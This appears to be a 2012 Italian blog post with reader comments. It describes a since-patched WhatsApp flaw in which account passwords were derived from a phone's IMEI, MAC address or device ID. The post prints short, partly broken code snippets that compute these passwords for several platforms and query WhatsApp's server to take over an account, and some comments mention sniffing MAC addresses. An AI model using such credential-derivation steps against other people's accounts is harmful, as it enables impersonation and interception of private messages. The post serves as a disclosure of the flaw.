Cybersecurity

WhatsApp sì o WhatsApp no?

19 Dicembre 2012

È una tranquilla sera in cui rientro a casa dopo un'intensa giornata di lavoro.
Appena apro la porta di casa, mi accorgo che ho dimenticato il mio smartphone in ufficio.
Panico!!! E ora come faccio?

Maledizione! Stasera aspettavo un messaggio importante su WhatsApp.
Uno di quei messaggi che, se non rispondi, tutto ti si ritorce contro…
Che fare? Tornare in ufficio a riprenderlo? Nooo, mezz’ora per arrivare e mezz’ora per tornare.
Senza contare che, alle sette di sera, c’è una seria possibilità di rimanere intrappolati nel traffico.

Mentre vado su e giù per il corridoio e vedo avvicinare l’ipotesi di ritornare in ufficio, impreco contro me stesso ("Certo, Vito, che sei proprio una bella testa!") e contro Kaseya, sempre in ritardo con la roadmap ("Vedi? Se avessero già sviluppato il controllo remoto per il mobile, ora sarei un signore!").
Indosso il giubbino posato da qualche minuto, impugno le chiavi della macchina e quando sono proprio sull’uscio di casa… booom! Folgorazione!
WhatsApp utilizza lo stesso principio di Kaseya: i dati passano prima attraverso un server che fa da ponte per tutti i messaggi.
"E se provassi a intercettare il messaggio che sto aspettando?".
Il lato oscuro prende il sopravvento e, facendo una ricerca su Google, scopro una cosa a dir poco agghiacciante:

L’autenticazione degli utenti durante l’invio o la ricezione dei messaggi è violabile, ciò permette a un estraneo di prendere pieno possesso di un account WhatsApp inviando messaggi o di leggere anche le eventuali risposte.
Ogni utente che vuole inviare un messaggio o verificare se ha dei messaggi da leggere si autentica sui server attraverso una password generata automaticamente dal software.
La password è però facilmente riconducibile perché si basa sul codice IMEI degli Smartphone non Apple o del MAC Address per gli utenti Apple.

Wow!!! Non mi resta che provare.
In pratica per i dispositivi Android lo username è il numero di telefono e la password di autenticazione è calcolata applicando la funzione hash md5 all’inverso del codice IMEI.

Ma dove lo trovo il codice IMEI?

O sulla scatola dello smartphone o dall’audit di Kaseya.
Apro la mia bella macchina virtuale Linux  ed eseguo un semplicissimo script in PHP scaricato da internet:


$imei = "112222223333334"; // IMEI di esempio;
$androidWhatsAppPassword = md5(strrev($imei)); // calcolo della password (inversione dell’IMEI e generazione del md5);
$countrycode = 39 // codice identificativo del Paese;
$phonenumber = 393481234567 // numero di telefono usato come username;
request =Net::HTTP.new ("https://r.whatsapp.net/v1/exist.php?cc=$countrycode&in=$phonenumber&udid=$password", 443) // richiesta al server di WhatsApp.


Il gioco è fatto! Connesso quasi come se guardassi il mio cellulare.
Quasi, perché bisogna interpretare l’informazione visualizzata con opportuni strumenti.

Naturalmente è possibile farlo anche per:
 

  • dispositivi iOS:

$wlanMAC = "AA:BB:CC:DD:EE:FF"; // WLAN MAC address di esempio;
$iphoneWhatsAppPassword = md5($wlanMAC$wlanMAC); // calcolo della password.
 

  • dispositivi BlackBerry:

$imei = "112222223333334"; // IMEI di esempio;
$BBWhatsAppPassword = md5(strrev($imei)); // calcolo della password (inversione dell'IMEI e generazione del md5).
 

  • dispositivi Windows Phone:

$DeviceUniqueID = "112222223333334" // ID del dispositivo;
$WPWhatsAppPassword = $DeviceUniqueID // calcolo della password.


Dunque, apro la sessione e mentre attendo l’arrivo del mio preziosissimo messaggio, penso tra me e me: "E se ci fosse qualcun altro a spiare? E se avessi a disposizione codici IMEI dei miei amici che hanno Android?".
In effetti, qualsiasi persona può sostituirci in una conversazione conoscendo esclusivamente il nostro codice IMEI.
Si possono inviare e ricevere messaggi senza che il destinatario si accorga di nulla e, ancora più gravoso, neanche il mittente (utente vulnerabile) avrà la ben che minima traccia di quanto accaduto, perché nella sua cronologia di chat non solo non appariranno i messaggi inviati ma neanche quelli in risposta.

Mentre cerco di tenere a freno il mio lato oscuro, che insiste nell’avanzare proposte di discutibile legalità, il famoso messaggio arriva.
Alla fine non era così importante, ma questa preziosa esperienza mi suggerisce di disinstallare WhatsApp, almeno fino a quando non sarà fixata questa vulnerabilità.

E tu, utilizzi WhatsApp?

Autore
Vito Pietrapertosa
Commenti (7)

Ciao Andrea e grazie per aver commentato il mio post.

Diciamo che le cose sono un po più complicate, nel senso che molto dipende anche dalla versione dello smartphone e dalla versione whatsapp. Ultimamente è uscita una versione che dovrebbe risolvere il problema.
In ogni caso se questi vincoli sono superati allora occorre il numero solo di telefono e l’imei per poter accedere al server.
Ti posso assicurare che c’è già in giro gente che li colleziona anche per attaccare sfruttando tipologie di vulnerabilità.
Per quanto riguarda l’ios, confermo che basterebbe sniffare il traffico di rete per recuperare il mac address. La situazione non è poi così rosea per gli altri dispositivi perché è possibile sniffare anche la url di connessione al server con tanto di parametri già impacchettati. Cosi non ci sarebbe bisogno di recuperare ulteriori informazioni.

La rilfessione più generica che si può fare è gestire gli smartphone aziendali con policy digide e limitare l’installazione delle app da parte dell’utente oppure separare le risorse aziendali dalla navigazione degli smartphone.

Vito Pietrapertosa,

Grande post, Vito. Ti chiedo solo qualche conferma di avere capito.

Tutto gira intorno al codice IMEI e a come entrarne in possesso.

Se hai la scatola dello smartphone sembra essere facile anche se non ci ho mai fatto caso ;).
Se hai un sistema di Mobile Device Management (Kaseya, nel tuo esempio) il codice IMEI è uno dei tanti valori del dispositivo che sono inventariati e aggregati. Questo naturalmente richiede avere lo smartphone da attaccare in gestione, right?

Quindi fino a qui (scatola o dispositivo under management) il rischio è principalmente intraaziendale. Non che sia da sottovalutare: voglio solo individuare i confini.

Il fatto che per i dispositivi iOS serva il Mac address appare più allarmante: vuoi dire che basta sniffare la WLAN e beccare il mac address della biondina o del biondino di turno per craccarle/gli whattsup?

Andrea Veca,

Salve a tutti,
quindi con le nuove versioni non è più possibile, problema risolto definitivamente?

Grazie

Ivan Schifitto,

come faccio con il calcolo della password in spiegazioni piu semplici grazie

Mauro,

Ciao Mauro,

questo articolo fa riferimento a una vecchia versione per cui non corri piu’ nessun pericolo…

Claudio Panerai,

Ciao, ho fatto una prova sia con un blackberry che con un samsung galaxy s ma ottengo sempre: response status="fail" result="incorrect"
Hanno per caso messo una patch di sicurezza?

friser,

Ciao friser, la versione che causava dei problemi era la 2.7.x, ora siamo alla 2.9.x, questo baco è stato risolto generando randomicamente la key di accesso ai server di WhatsApp.

Vito Pietrapertosa,

Lascia un commento

Il tuo indirizzo e-mail non verrà pubblicato, lo utilizzeremo solamente per inviarti la notifica della pubblicazione del tuo commento. Ti informiamo che tutti i commenti sono soggetti a moderazione da parte del nostro staff.